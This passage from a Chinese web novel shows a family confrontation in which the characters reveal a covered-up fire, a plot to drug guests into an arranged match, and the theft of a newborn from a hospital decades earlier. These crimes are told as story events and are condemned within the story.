而贺维安虽然被威胁到过,可也不过就是答应了牺牲儿子的婚姻,且她只是配合促成,没说一定要成。这么看,接受了威胁这件事放在贺维安身上也不算离谱。 且从贺维安如今还是拿到了顾许陈三家的康宁股份这件事来看,显然宁绍仁他们的威胁没能奏效第二次,宁衣初才不信宁绍仁他们能看着贺维安收拢康宁股份却不拿茶室火灾的事威胁第二轮。 宁衣初想通了,但当下初听到真相的唐青山愣住了。 贺维安也顿了顿,重复了遍:“……是宁则棋导致的火灾,且宁绍仁和韩文华他们知情?但他们还是在多年后拿这件事来威胁我答应让适瑕跟他们家联姻?” 宁绍仁和韩文华表情尴尬又担心,宁则棋最初激动了一下,然后又恢复了沉默状态,当下并没有为自己辩解。 宁则书在众人无心关注他的角落里笑了下。 宁衣初耸了耸肩,回道:“如果不是这件事的真相说出来并不能打击报复到贺适瑕他爸,我之前在贺家早就闹出来了。” 唐青山脸色铁青:“不……你打击报复到了,我现在觉得自己像个笑话……宁绍仁!” 宁绍仁连忙道:“青山,你听我说,我也都是为了我儿子,如果不这样说,当年你怎么会答应跟我一起想办法掩盖火灾的人为意外真相,这些年你也不会对火灾的事保密不提,我当初也是为了保护则棋,他那个时候才十八岁……” “成年人,可以负完全刑事责任了。”宁衣初悠悠道。 宁则棋看着他,突然开了口:“你送了宁家很多人进监狱,这次打算送我了吗?可当年的事没有证据了,你有吗?” 宁衣初笑了下:“今晚结束的时候你就知道了。” 韩文华连忙训斥了宁则棋一声:“则棋,不许说了!小初啊,你毕竟也喊了则棋这么多年大哥是不是,还有维安,青山,你们也听到了,当年则棋才十八岁,刚成年啊,他也不是故意纵火的,确实是个意外,我们做父母的想要保护他,也没那么不能理解对吧……” 贺维安冷笑了声:“所以你们多年后为了给另一个儿子谋利,又拿这件事出来做文章,敢情你们的儿子是儿子,我们的就是你们家儿子的登天梯、踏脚石?” 宁绍仁和韩文华不禁心虚。 说到这里,贺维安和唐青山也都下意识看了眼贺适瑕。 贺适瑕对自己曾经被父母放弃过这件事反应平静,回看过去:“不用担心我,反正我这段时日也没担心过你们的感受,某种程度上来说,我们确实是一家人。” 唐青山狼狈地别过头,再度对宁绍仁他们怒目相视,过去多年养出来的平和在这会儿都要粉碎了:“这么多年啊!我过去还庆幸,觉得虽然宁绍仁你能力不怎么样,但好歹守口如瓶、朋友仗义上这一点没得说,没想到,我就是个小丑……” 宁绍仁忍不住辩驳:“当年的火灾也未必没有你的过失吧,要不是你在装修茶室的时候非要选那么多木质结构,也不至于那么易燃,连消防都来不及……” “你还有脸说!我这些年就是因为这个,新开的私房菜馆里甚至连厨房的砧板都不敢让厨师用木头的,全都用的不锈钢砧板……”唐青山怒吼道。 但这么冷不丁一句,跟冷笑话似的,宁衣初心情比较放松,也就随心情地笑了一声。 场面却随着他的笑声僵滞住了。 唐青山和宁绍仁到底是自负为“有身份的人”,讲究体面,到这个地步也没打起来,宁绍仁坐着不动,唐青山倒是因为激动而忍不住站起了身,这会儿怒着怒着又坐了回去,然后直接道:“我明天一早就去报警,管他有没有证据,都要有个交代!” 宁则棋垂着头没说话。 宁绍仁咬了咬牙,看向贺维安:“贺总,你真要听青山这个打算?这件事过去十多年了,如今再闹也不会有结果,报警也只会不了了之,但一旦报了警可就又闹大了,到时候我们两家又要成笑话!这段时间宁家被笑话多了,虱子多了不怕痒其实也无所谓,但你们贺家也无所谓吗?” 贺维安趁着脸色:“宁家当真无所谓的话,宁总又何必这么急于劝我——下一件事呢,小初,你接着打算说什么?” 宁衣初歪了下头:“说说几个月前在康宁大酒店,我和贺适瑕发生意外那晚,各位的动向?” 第54章 第 54 章 刚出生就被放置到福利院…… 宁绍仁:“这么上不得台面的事你要拿出来当众说?!” 韩文华:“这事儿都过去那么久了, 说实话你们其实应该也知道是怎么回事了,有必要现在还说吗?” 宁绍仁和韩文华异口同声说完,文瑾和宣络先不满了。 文瑾:“知道上不得台面你们还做, 做了还不让孩子说了?” 宣络:“有必要!既然衣初现在提了, 说明你们之前就没交代清楚, 那当然要理个明白。” 贺维安轻叹了声,直言道:“那天晚宴, 的确是我们有意叫上适瑕同行的,但还是刚才你已经说到过的事, 我们当时只是答应了配合宁绍仁他们制造一个可能相处的机会, 也就是把适瑕叫到宴会现场去,并没有答应配合他们做更多下作的事。” “所以那晚到了宴会上, 适瑕发现场合不对想要离开时,我跟他爸也并没有阻拦, 我们也的确没想到当晚事情会发展成后面那样, 还以为适瑕是早就离开了,又因为我们骗他去宴会所以有些生气、当晚才没有回老宅这边。” 单论谈话这方面,宁衣初还是比较喜欢和贺维安聊,废话少很多、效率高很多。 他微微颔首, 看向宁绍仁他们:“说说你们原本的计划?” 宁绍仁还是不想痛快配合:“你都知道了为什么一定要我们说?!” 宁衣初看着他们。 “贺适瑕曾经误加过宁则书这件事, 宁则书一开始就告诉过我们了。”宁则棋这时却开了口, 准备回答宁衣初的问题。 宁则书听到他的称呼, 笑了下,开口说了今晚来到贺家以后第一句话:“爸爸妈妈你们听听, 大哥这是跟我离心了,都直呼我全名了。” 宁绍仁和韩文华都正一脑门官司,没有回答这个宝贝小儿子的“撒娇”。 宁则棋也没理宁则书这话, 继续看着宁衣初,说了下去:“因为有这么一件事,所以家里曾以为贺适瑕对你有意,但那之后又发现贺适瑕好像也没主动找过你,你们之间并没有往来,所以这件事就这么搁置着了,家里都当不知道这回事,继续想要撮合宁则书和贺适瑕。” “但从宁则书上大学开始,到他都大学毕业了,几年了都没有丝毫进展,他们俩居然还是和此前一样没见过几面、连联系方式都没交换过,爸妈有些着急了,便又想到了贺适瑕曾经想要加你好友这件事。” “他们觉得,就算这几年贺适瑕对你也没其他动静,但至少是有些不一样的,所以几个月前宴会那晚,他们打算利用这一点。” “他们以保护宾客隐私为由关闭了相应楼层和专用电梯的监控,这样可以尽量避免留下关键证据。他们安排你负责给来宾发放休息间的房卡,又让祖父在看到贺适瑕准备离场时倚老卖老地把他拦下留住……” 宁绍仁还是顾着他那颜面,不愿意自己配合回答宁衣初的问题,但宁则棋开始回答了,他也没有阻止。 谁让宁衣初一副今晚必须把事情在这里交代清楚不然走着瞧的架势,宁绍仁也并不是很想真的跟他对着干,不然那百分之五的康宁股份不是就白给了吗。 但听到宁则棋直接用“倚老卖老”来说已经去世的宁老爷子,宁绍仁还是忍不住开口道:“则棋,怎么说你祖父的!” 宁则棋表情平平:“祖父在世时,也没见爸你这么在乎他,如今人都不在了,说点实话大家也都轻松,你们当时不就是让祖父倚老卖老去的吗?还让他留贺适瑕时,一定要提给宾客们安排房间的人是小初。” “总之如爸妈所愿,那晚贺适瑕暂且入住了宾客休息的楼层,房间是小初安排的。你们确认了房号之后,妈让厨房的人准备了有问题的饭菜,又让小初一定要按着菜品安排去送,爸则是负责给宁则书下药,然后让提前安排好的经理送‘身体不适需要休息’的宁则书上楼。” “爸妈计划很‘周全’,本来想着事成之后还可以让小初背锅,但没想到出了几个岔子。” “一是爸准备给宁则书吃喝下药时才发现他离开了宴会现场,但作为当家人不方便离开宴会厅,而且如果爸你亲自特意去送点吃的喝的给宁则书,未免做得太明显,所以爸选择了在橙汁里下药、让服务生去送。” “第二个意外则是,服务生去送橙汁时,正好遇到了小初,见他脸色不好就把橙汁给了他,于是那杯有问题的橙汁被小初喝了。” 宁衣初听到这里,反应很平静,甚至脸上带着些许兴味,继续听宁则棋“陈述罪行”。 宁则棋复又看向宁衣初,接着道:“第三个意外,我当晚注意到了爸妈的一些异常反应,当时正好逼问了妈,得知了他们的计划,又发现被安排去送餐的小初你迟迟没有回到宴会厅,所以准备出去看看,结果正好看到喝下橙汁后药效开始发作的你。” 听到这里,韩文华忍不住愕然打断:“等等……则棋你当时离开宴会厅是为了去找宁衣初?你不是说你打算去阻止小书喝橙汁吗!” 宁则棋还没回答,宁则书就忍不住笑了:“何止,你们知道大哥去动过监控,猜到是他把小初送到贺适瑕的房间这件事后,他还说他那样做只是因为厌恶小初、想让你们和小初断绝收养关系,而且如果贺适瑕真的已经吃了有问题的饭菜,那总得有个人帮他解决问题,大哥说他不想牺牲我,综合下来才决定把正好意外喝了下药橙汁的小初送过去……” “听起来好像还挺在乎我、在乎宁家和睦的,但其实就那句想让你们和小初断绝收养关系是真的。是吧,大哥?” 宁则棋没有否认,耸了耸肩。 宁衣初感觉实在过于恶心了,偏过了头。 贺适瑕也面色十分不虞。 宁绍仁和韩文华意识到了宁则书话里的别有深意,难以置信地看着宁则棋,一时都说不出话来。 贺维安皱了皱眉:“什么意思,说清楚点,我怎么听着觉得很不寻常呢……” 宁则棋现在就是一副滚刀肉的状态,大有全方位破罐子破摔、什么都不藏了的意思,直接承认道:“就是你们揣测的意思,我喜欢小初。” 贺维安和唐青山瞠目结舌。 宁绍仁忍不住骂道:“逆子!” 文慎、文瑾和宣络也惊愕骇然,文慎眉头紧锁:“你们这家人都什么见鬼的东西……” 文瑾担忧地去看宁衣初:“孩子你在宁家过的都是什么日子……” 韩文华都有些语无伦次了:“你喜欢……则棋,你怎么会喜欢……你不是一直很讨厌宁衣初吗,你还……你比他大了十几岁,怎么会喜欢他……不论如何,就算家里不待见他,你也是看着他长大的,他可是你弟弟……” 宁则棋双手交握:“法律上是,也正是因为从法律关系来说他是我亲弟弟,所以我一直没下得了手,我也不知道我这么个没道德的人为什么这么在乎这一点……小初,你……” 虽然之前已经知道了,但现在听到宁则书这么理直气壮地说出来,宁衣初还是被恶心得够呛,实在有些忍不住,终于在宁则棋看向他这瞬间又偏过头干呕了起来。 宁则棋话音顿住。 贺适瑕侧身,轻轻拍了拍宁衣初的背,见他只干呕了两三声就停了下来,才起身去给他倒水。 “不要恶心他。”贺适瑕一边倒水,一边警告宁则棋,还有在场其他人。 然后他把水杯递到宁衣初唇边,轻声说:“阿宁,喝点水缓缓吧。” 宁衣初就着他的手喝了几口水,感觉胸口没那么发闷了,才回过身,往后靠在沙发上,面色苍白地扯了扯嘴角:“继续说啊。” 宁则棋垂下眼:“总之,我一直希望爸妈可以和小初解除收养关系,但他们始终不愿意。在他们心里,贺适瑕之前就是他们板上钉钉要分配给宁则书的婚约对象,然而即便小初‘抢’走、破坏了这件事,他们也还是不打算彻底赶走小初,我觉得挺纳闷的。” “说回酒店那晚的事,当时还有个‘意外’是,宁则书提前偷听到了爸和酒店经理的交谈,从中猜出了爸妈当晚的安排,比起被那么安排,他更乐意看到宁家和贺家闹矛盾。” “所以他选择了当晚消失,酒店经理没找到人就以为是爸妈另有安排已经没问题了,爸妈没看到他回宴会厅也以为是事情办成了,而他其实跑去了别的楼层,这样他第二天可以推说自己只是累了所以随便开了间房休息,爸妈难道还能骂‘不知情’的他破坏了计划吗?” “而在他的原定计划里,被下了药的贺适瑕要么独自在客房里因为药效导致身体出问题,要么贺适瑕向外求救闹出动静,以他贺六公子大明星的身份,少不了出大丑,贺家必然和宁家结仇……” 听宁则棋说到这儿,宁绍仁和韩文华总算后知后觉意识到了不对:“等等……” 贺维安也纳闷:“宁则书为什么希望贺宁两家结仇?” “不是的。”宁则书在宁则棋之前开了口,宁则棋还以为他想继续狡辩装乖,没想到宁则书接下来却说的是心里实话,似乎也是被今晚这“坦诚”的氛围影响了。 宁则书轻声细语说:“不是针对贺宁两家的关系,我只是想看宁家出乱子,只有乱起来才能动起来,我才有机会浑水摸鱼。” 宁绍仁和韩文华看着没有变脸却说出了大变脸言辞的宁则书,大概是被刚才宁则棋承认喜欢宁衣初这件事弄蒙了还没反应过来,他们现在甚至都愤怒不起来了。 宁则书:“宁家那压在董事会的百分之五股份,我想要,但贺适瑕摆明了没那么好应付,我可没我爸妈那么天真,觉得这桩联姻能成功,所以我想,与其盯着那动弹不了的百分之五,不如盯着家里其他人、尤其是我爸手里板上钉钉可以再分配的股份。但他们只把我当小宠物……” 说着,宁则书看向了宁衣初:“宁家打压你,不让你工作独立,但我又何尝不是被压制着的呢,我毕业之前多次说起想要到康宁工作、想要像叔叔姑姑们那样接受历练、想要像大哥一样为家里‘分忧’,但他们总是说我不用操那些心,让我拿着零花钱随便玩就行了……小初,我说过的,我们其实是一样的……” “不,我过往苦难有你一份,你的‘苦难’不关我事。”宁衣初厌恶地否决。 宁则书耸了耸肩。 宁绍仁回过神时,发现自己的手都在发抖,他看着面目全非的宝贝小儿子宁则书:“你……你怎么可以……所以你之前上节目跟宁衣初一唱一和给家里添堵,也是为了这个……浑水摸鱼?” 宁则书不可置否。 韩文华哀声说:“怎么会这样……小书,你怎么这么傻呢,我们以前只是觉得你在开玩笑、你还没长大,如果你真的想要进康宁历练,我们怎么可能不答应你呢,你何必……你是我们的亲儿子啊,我们待你那么好,你回到我们身边后就从来没让你受委屈吃过苦,你怎么会觉得自己和宁衣初一样呢?你真是……太伤妈妈的心了。” 宁则书表情也讽刺起来,宁则棋冷笑了声:“没办法,谁让宁家人向来都是虚情假意的,他宁则书怎么敢相信你们给他的宠爱是真的呢,他一直觉得自己也如履薄冰着呢。” 宁则书轻啧了声:“可惜,几个月前酒店那次,没让贺宁两家翻脸。” “我本来以为贺适瑕只能独自在客房里煎熬,没想到大哥那无法对法律关系上的弟弟下手的‘高’道德感,竟然促使他为了让小初被赶出宁家,选择了把小初送到贺适瑕房间里……说真的,这个行事逻辑,我不论说了几遍,都仍然觉得费解。” 别说宁则书了,在场除了宁则棋自己,没有任何一个人能理解过来他这形式逻辑。 宁则棋也没对此再解释,只是总结陈词一样看向宁衣初:“那晚我们各自的动向应该就是这样了,你还有什么想知道的吗?” 宁衣初被这话问得忍不住笑起来,他偏头看身边的贺适瑕:“诶,你觉不觉得现在这里像是……剧本杀玩完后的真相复盘环节?” 贺适瑕也忍俊不禁,温声说:“那之后要一起去玩剧本杀吗?” 宁衣初觉得他这联想就有点跳脱了,没搭理他,回过头看向了宁绍仁和韩文华:“说起形式逻辑,我也很好奇,你们当年为什么要把我带回宁家?这些年还一副死活不能让我离开的架势,搞得好像对我这个养子多情深意重难舍难分似的。” 宁绍仁和韩文华都哽住了,没有回答,但眼神下意识瞟了眼文瑾和宣络的方向,仔细看了就知道,那是心虚的反应。 宁衣初不知道有关他身世的这部分实情,所以抱着“诈供”的打算,这会儿盯宁绍仁和韩文华盯得挺专注的,毕竟准备根据他们的反应来决定诈供路线。 宁绍仁和韩文华虽然没说话,但宁衣初话音落下后,拿着宁衣初那枚玉坠的文瑾就忍不住开口质问了:“对,你们当年为什么会把衣初当做你们的孩子带回家?这玉坠摆明了不是你们的,而且你们找孩子都不做亲子鉴定?” “你们自己的亲生儿子回来后,你们两个成年人居然还好意思说是寻子时被衣初骗了……”宣络眉头紧锁,“这孩子如今虽然偏激,但三观没有长歪,真是大幸了。” 宁衣初挑了下眉:“我确实偏激、攻击性强,但你们作为生而不养的血缘父母,没有资格用‘虽然但是’这样看似庆幸实则贬低的话评价我,都挺恶心的。” 文瑾和宣络都又是一愣,然后面露愧疚:“对不起,衣初……” 宁衣初直接进入下一个话题:“既然我的养父母们不愿意开金口,那正好,你们刚才不是说想要解释把我弄丢了的事吗,现在解释吧。” 给文瑾和宣络说话的时间了,他们俩反倒不知道从哪里说起似的,没有马上开口。 文慎忍不住问道:“所以你确实早就知道你的亲生父母是谁,你是怎么知道的呢,什么时候知道的呢?为什么知道后选择不联系呢,是不知道当年的隐情,还是你也知道但仍然选择责怪你的亲生父母呢?” 宁衣初嗤笑了声:“还有个可能,就是你姐姐姐夫根本不是我亲生父母,我现在就是这么随口一说。” 文慎噎了噎,正想继续开口,文瑾抓住他的手腕制止了他:“知道你沉不住气,又替我和你姐夫着急,但不要这样一连串地问,像是在咄咄逼人地质问孩子……衣初,你就是我的孩子,这枚玉坠、你眼尾的小痣、你的生日都能证明这件事,而且我刚才一见你,就知道你一定就是我的孩子。” 宣络叹了声气,终于说起旧事来:“这些年,我们一直在普罗维登斯,那也是我和你妈妈、还有你舅舅长大的城市……” 文瑾、文慎所在的文家,还有宣络出身的宣家,两家是世交——和贺家、宁家这种只交好了一代然后逐渐只剩面子情的“世交”不同,文家和宣家不论祖辈还是至今这一代,关系都一直挺不错,也可能是同在异乡的缘故,注定了感情基础不一样。 上个世纪,文家和宣家就在祖上的选择下一起移居去了美国的普罗维登斯,但虽然移居了,两家祖上又坚持要孙辈们学习中文、日常在家只能用中文交流,所以如今文瑾、文慎和宣络的中文才说得这么流利。 文瑾和宣络属于青梅竹马,从小一起长大,顺理成章在一起、结婚生子,两人感情一直很好,这么多年也始终顺风顺水,除了其中一件事,也就是亲生儿子诞生当日就遗失了这件事。 据他们这会儿所说,当年文瑾怀孕后,不知道为什么突然对从小生活的普罗维登斯水土不服,他们抱着试一试的态度回到了国内,然后发现居然之前那些水土不服的不适症状都没有了,于是宣络陪着文瑾在国内暂住,决定等生完孩子再回普罗维登斯。 当时他们选择暂住的城市就是A市。 预产期没剩几天的时候,文瑾出门被人不小心撞到肚子,所以提前生下了孩子,也就是宁衣初,而文瑾当时手术后状况不太好,国内又就他们夫妇俩人在,所以宣络当天主要精力都放在照顾文瑾上了,觉得孩子有医院的专业人士照看不会有问题。 但文瑾第二天醒过来,问起孩子时,他们才发现孩子居然凭空在医院的育婴室里不见了,负责育婴室的护士也是惊恐慌张、连连发誓她绝对没有偷孩子,也报了警,但二十多年前监控还不怎么多,就没能找到。 文瑾和宣络在国内也没人脉,辗转才托上人帮忙一起找,但翻遍了A市都没找到孩子,即便他们的孩子明明特征很明显——刚出生,左眼眼尾有一颗很小的红痣,身上或许还戴着他一出生就给他戴上的玉坠。 那玉坠是文瑾回国待产时,家里长辈给的,上面刻的“阿宁”二字,和两家的姓氏都没关系,只是出于祝愿提前给孩子起好的小名。 产后在A市留了三个月,都没能找到孩子,本就因生产而体虚、没恢复好的文瑾大病了一场,醒了之后竟然失忆了,她忘记了孩子遗失的事,甚至不记得自己怀过孕,对自己的身体状况认知为生了很严重的病所以做了手术,唯一不能理解的是为什么人在国内。 宣络不敢刺激她,而且觉得确实再留在国内也没办法了,所以带着文瑾回了普罗维登斯。 “但是,虽然我们回了国外,虽然你妈妈她失忆不记得了,可我们从来没有放弃过找你。”宣络说到这里,连忙解释道,“我们人在国外,但这些年都有安排人在国内寻找符合特征的孩子,只是一直没找到。” “也怪我们思维局限,仍然集中在A市找,要不是这次文慎他要上节目,也关注了一下前面的嘉宾动向,发现你的情况太巧了,我们才按着你的身世倒推回去查,都还没想到你居然会在出生当天就已经被偷到隔壁城市一处偏僻的福利院去了……” 文瑾愧疚道:“都怪我当年居然失忆了,直到五年前才意外恢复了记忆,也耽误了寻找你……但是衣初,请你相信爸爸妈妈,我们真的很期待能和你团聚,这些年我们都下意识地没想过再要孩子,即便是我失忆的那些年里,我都排斥要孩子这个想法,直到恢复记忆我才明白过来,原来我已经有一个孩子,只是他还没回家……” 听着文瑾和宣络的话,宁衣初反应平平,目光甚至大多都落在宁绍仁和韩文华脸上,仔细观察着他们在听到文瑾和宣络的话时的神态变化。 看到宁衣初这不为所动的冷漠反应,文瑾和宣络都有些忍不住红了眼眶,文慎忍不住有些愤慨:“宁衣初!你都听到了,是歹人作祟,不是你的生父生母故意遗弃你。是的,这些年你吃了很多苦,但那是造化弄人,也不是你亲生父母的错,现在你都知道真相了,这都不能让你理解他们吗?” 宁衣初这才抽空,看了文慎那边一眼。 如果是上辈子,宁衣初得知这些真相,应该已经选择跟他们认亲了,感情上他会更容易接受非故意遗弃他、虽然迟到了但毕竟来找到他了的亲生父母,利益上他也会更愿意跟能帮他摆脱当下困境的亲生父母走。 但这辈子,宁衣初不缺遮风挡雨、带他脱离困境的人了。 原书剧情里他亲生父母、亲舅舅对宁则书和宁家的态度让他作呕,这辈子亲眼见到了这几个血脉相连的“至亲”,看着他们的态度,宁衣初更觉反感厌恶。 “造化弄人,不是你们的错,所以这些年吃苦受罪都是我活该,所以只要你们口头表达了对我的想念和心疼,我就该马不停蹄跟你们抱作一团阖家团圆,不能因为过去的经历就觉得来晚了的亲生父母和陌生人一样不值得费精力,要不然就是我不识好歹没有同理心?”宁衣初挑了下眉。 文慎、文瑾和宣络都怔住了。 文慎也意识到自己刚才的话过于理直气壮了,想要找补:“抱歉,是我太理所当然了,只想着你爸爸妈妈很想和你相认,却忽略了你的感受和想法……” 宁衣初笑了起来,好像刚看完了一出颇有喜剧效果的戏:“文先生,我告诉你什么叫‘造化弄人’。” “血缘关系不是保质期天长地久的强力胶,即便你们并非主观愿意,但也确实缺席了我过往所有人生,现在举着亲生父母的招牌跑出来,就觉得我理应理解你们、理应立刻接受你们,不然就是我有问题,这种强盗想法,你们还挺适合和宁家人相亲相爱的。” 宁衣初慢条斯理地讥讽道:“我过去那些年的血泪已经成了事实,你们这几个血亲来迟了就是迟了,如今是你们需要我,不是我需要你们,这就注定我们不可能是一家人。这就是造化弄人的结局,你们要是继续强求,那局面就要变成‘面目可憎’了。” 文瑾和宣络终于忍不住,夫妇俩齐齐落下泪。 “衣初,对不起,是爸爸妈妈太着急了,不该这么逼你……” “之前你还在上节目,我们就没马上赶回来,现在想想,这何尝不是错上加错,本就迟了还又迟到了一回……衣初,给爸爸妈妈补偿的机会好吗……” 宁衣初好整以暇道:“虽然我现在什么都不缺了,但你们要是想补偿我,那我可来者不拒。不过先说明了,我刚才说这么多是为了给自己出气,说出来了我才痛快,不是为了‘唤醒’你们、让你们知错就改后再给你们机会,你们抱有的妄想省省吧。” 文瑾擦了擦眼泪:“孩子,你放心,爸爸妈妈知道了……” “那劳驾先做到别跟我自称父母,听着烦。”宁衣初打断道,“至于补偿我,我不想再和你们有来往,所以你们也不用给我什么,以后帮我盯着宁家人别让他们有好日子过就行,反正你们应该也想出气……毕竟,当年让你们遗失刚出生的孩子的罪魁祸首,就是我在座的养父母。” 看着宁绍仁和韩文华骤变却不似没有心理准备的神情,宁衣初就知道自己诈对了,于是他更加坦然地对他们一笑:“对吧?” 第55章 第 55 章 真假少爷这件事的真相。…… 听到宁衣初这话, 在场其他人都惊愕不已,文瑾和宣络甚至瞬间失声了似的、被这匪夷所思的真相掐住了喉咙,反倒是被点到名的宁绍仁和韩文华是反应最小的。 看他们的表情, 甚至有点“果然已经被知道了, 还是被揭发出来了”的“解脱”意味。 但旋即, 宁绍仁还是选择了矢口否认:“什么罪魁祸首,你又在胡言乱语什么!你没听到他们刚才说的吗, 他们当年回国都是暂住,在国内不认识什么人, 我们当年怎么可能认识他们, 还在他们刚生下你的时候就让人把你偷走?简直是危言耸听!” 宁衣初歪了下头。 虽然他也不清楚当年的来龙去脉,但不妨碍他现在看上去特别游刃有余, 加上在此之前那些事的影响,他现在的样子看上去就像是已经对整件事、哪怕是犄角旮旯本不该为人知的细节都已经知道了, 只是他懒得自己费口舌。 韩文华见宁衣初要开口, 总觉得由他来代说只会显得他们更滑稽,既然结果是注定了,那韩文华也不打算像宁绍仁一样继续嘴硬了。 “是,当年是我们买通了医院的人, 抱走了刚出生的小初。”韩文华道。 宁绍仁立刻瞪她:“你就这么迫不及待投诚!” 文瑾和宣络被堵住的喉咙终于能发声了似的, 两个人都怨愤开口。 文瑾:“居然是你们!人贩子!抢劫犯!你们为什么要那样做!” 宣络:“我们跟你们有什么仇什么怨, 你们要那样做!我们当初根本就不认识你们!你们这是犯罪!” 宁衣初诈供成功, 慢悠悠往后靠在了沙发上,贺适瑕见他眉眼间有细微的得意, 忍俊不禁地摸了下他的头发,被宁衣初瞪了一眼。 他们俩还有空“打情骂俏”,贺维安只觉得没眼看, 很想赶紧搞清楚真相然后结束这个让人头疼的晚上。 于是她开口打断了文瑾和宣络对宁绍仁和韩文华的质骂,问显然已经放弃嘴硬的韩文华:“当年的真相到底是怎么回事?事已至此,赶紧说开了算了。” 文瑾和宣络咬牙切齿地看着他们,文慎安抚地拍了拍姐姐的背。 韩文华捂了下脸,才说:“小书只比小初大了一个月,当年我生小书的医院,其实和你们选择待产的医院是同一间……准确来说,那是我们韩家控股的私人医院。” 听到这话,文瑾和宣络都有一种当年精挑细选、主动送进狼窝的感觉,忍不住手指发抖。 韩文华接着说的话,更让他们惊讶:“我叫韩文华,韩家我这一辈的人都是文字辈,原本按族谱顺下来不该是这个字,但我祖母当年坚持如此,祖父那时不知内情,觉得也没必要为了这么件事闹矛盾,就同意了,直到祖父知道……我们这个‘文’字,就是你们文家的文。” 文瑾和文慎闻言都有些懵了:“什么?” 宁衣初也饶有兴致地听着。 韩文华说,这件事要追溯到她祖父祖母年轻的时候了。 她的祖父祖母也是从小青梅竹马、长大后在两家撮合下顺理成章结的婚,但其实韩祖父和韩祖母那时候并非真的互相有爱情,韩祖父是爱韩祖母的,但韩祖母只是被推着走到了结婚生子的境地—— 韩祖母虽然对韩祖父这个竹马没有爱情,但对他的友情并非作假,两家撮合他们时,韩祖母不知道怎么拒绝、家里也没有给她拒绝的机会,加上反正自己没有喜欢的人,韩祖母在意识到韩祖父喜欢她之后,不忍心他难过,最终选择了让所有人都开心的路,也就是和韩祖父结了婚。 婚后第二年,韩祖母就生下了长子,也就是韩文华的父亲,后来的五年里,她又生下了一子一女。 那时所有人都觉得韩祖母和韩祖父一家五口十分幸福美满时,只有韩祖母自己知道,她已经越来越厌倦无趣还要假装自己很开心的生活,几个孩子即便不用她手把手照顾,她也感到烦躁。 然后,韩祖母遇到了一个姓文的男人,那个男人就是文瑾和文慎的祖父文昌钰。 当时文家早已经和世交宣家一起移居去了普罗维登斯,文昌钰在国外长大,那时是因为一个跨国合作项目加上对祖辈口中的故乡好奇,所以才回到了国内,偶然遇到了韩祖母。 文昌钰是个花花公子作派,见到貌美的韩祖母便十分殷勤,知道韩祖母已婚、有三个年幼的孩子后,文昌钰不退反进、甚至更加热情洋溢,那样的文昌钰对韩祖母来说十分有吸引力。 在文昌钰有意的火热攻势下,韩祖母爱上了他、出轨了。出轨后的韩祖母深觉对不起丈夫,也是想要和文昌钰光明正大在一起,所以决定和韩祖父离婚。 但文昌钰只是想要一段刺激的艳遇,他在国内是因工作暂留,在国外已经有了即将正式结婚的未婚妻。发现韩祖母是认真的之后,文昌钰想也不想地就结束手里的工作跑回了普罗维登斯。 他知道韩家也不是小门小户,所以为了避免被人追到国外的麻烦,还特意让人给韩祖母捎信,说文昌钰他在工作中实地勘察时不慎遇到泥石流、已经死了。当时那个项目地点确实发生过泥石流,韩祖母又不便光明正大去调查,便信了。 伤心之余,韩祖母发现自己又怀孕了,而她不确定孩子是丈夫的,还是出轨而来,六神无主之下,韩祖母选择了当作没有出轨的事、继续和韩祖父维持婚姻。 因为心虚,所以韩祖母对韩祖父也热情了许多,让本来担心妻子对自己是不是没感情了的韩祖父放下了心。 后来韩祖母生下了第四个孩子,孩子长得很像韩祖父,韩祖母确定了孩子的生父,放下心的同时又感到了一种难以言喻的遗憾。 至此,匆匆“离开”了的文昌钰,在韩祖母心里彻底成了无法诉诸他人的白月光,那段短暂的婚外情时光成了越来越美好的回忆。 她没再有过孩子,直到第一个孙辈出世,她才想到要在她后代的姓名中留下此生唯一真爱过的男人的印记,所以韩文华这一辈的兄弟姐妹都是文字辈。 但多年过去,随着韩文华这些孙辈长大,韩祖母对文昌钰的感情渐渐记不清了,反倒是身边相伴了一辈子的韩祖父,韩祖母越发觉得对不起他。 于是,在临死之前,韩祖母把真相告诉了韩祖父,于是耿耿于怀、难以咽气的成了韩祖父。 韩祖父揪着多年前那个项目留下的些微线索,加上韩祖母临死前的说法,顺藤摸瓜居然查出了文昌钰的真实身份,以及他当年不仅没死、这些年还子孙满堂的真相。 可这个怄人的真相已经没法告诉韩祖母了,连文昌钰也已经因为年迈而病逝、真的死了。 韩祖父抱着真相无法告诉别人,觉得自己将要郁郁而终之际,被他安排在普罗维登斯盯着文家动向的人传来了消息,说文昌钰的孙女文瑾回国待产、只有她丈夫作陪。 韩祖父就决定,报复不了祖宗,还报复不了后人了吗! 他想方设法、不着痕迹地让回国后的文瑾和宣络选择了韩家的私人医院,想要在他们生下孩子后把那个孩子弄死,让文家尝尝丧子之痛。 ——听到这里,文瑾和宣络的目光如有实质,几乎想要把韩文华和她所代表的韩家扒皮抽筋了。 韩文华扭开了头,继续说道—— 但临动手之际,或许是憋闷太久又激动太过,韩祖父的心脏突然出了问题,只能躺在病房里靠仪器辅助静养,别说走动,连思虑太多都不行。 韩祖父不愿意放弃报复计划,但这种事也不想让外人知道,所以他选择了孙辈中最亲近的韩文华,让她和宁绍仁帮他继续完成计划。 文慎闻言冷笑了声:“让最亲近的孙女去办偷孩子这种违法犯罪又伤天害理的事,可真是太亲近了!” 韩文华别扭道:“祖父不信别人会保密……” “她祖父当年说的也不是让我们偷孩子,”宁绍仁这时终于沉着脸开了口,“他还是没放弃弄死孩子的想法,所以是让我们暗中买通或者想办法避开医生护士,总之要弄死孩子。” 别说宁绍仁这个孙女婿不肯,当时韩文华这个亲孙女也是不肯如此“尽孝”的,但韩祖父接着拿利益诱惑他们,说会给韩文华留更多遗产,说之前韩家和宁家在争的地皮可以给宁家、归功给宁绍仁,助力宁绍仁得到康宁董事会认可从而能够尽快继承家业。 于是宁绍仁和韩文华都心动了。 “但弄死一个刚出生的孩子,这种事我们也是实在办不到,尤其是我自己那时候都才刚生下小书……所以我们只是把小初送到了隔壁市比较偏僻的福利院,你们给他的那个玉坠,我们当时也看到了,如果真想恶人做到底,当时就把玉坠摘了丢了,这样不是更不容易被人找到吗,但我们还是留了一点善念,想着这么明显的痕迹或许能让你们尽快找到孩子……”韩文华虽然心虚,但还是解释道。 宁衣初歪了下头:“那我谢谢我的养父养母留了我一命?” 文瑾气笑了:“还善念……我的天啊,做出来这种事,还好意思觉得自己没那么坏……” 宁绍仁也狡辩道:“说到底还是怪你们文家那个祖父,如果不是他勾引韩文华她祖母出轨,哪里至于有后来这些事……” 宣络气急:“那倒是光明正大冲着大人来报复啊!像阴沟里的老鼠一样盯着一个孩子报复是什么意思!” 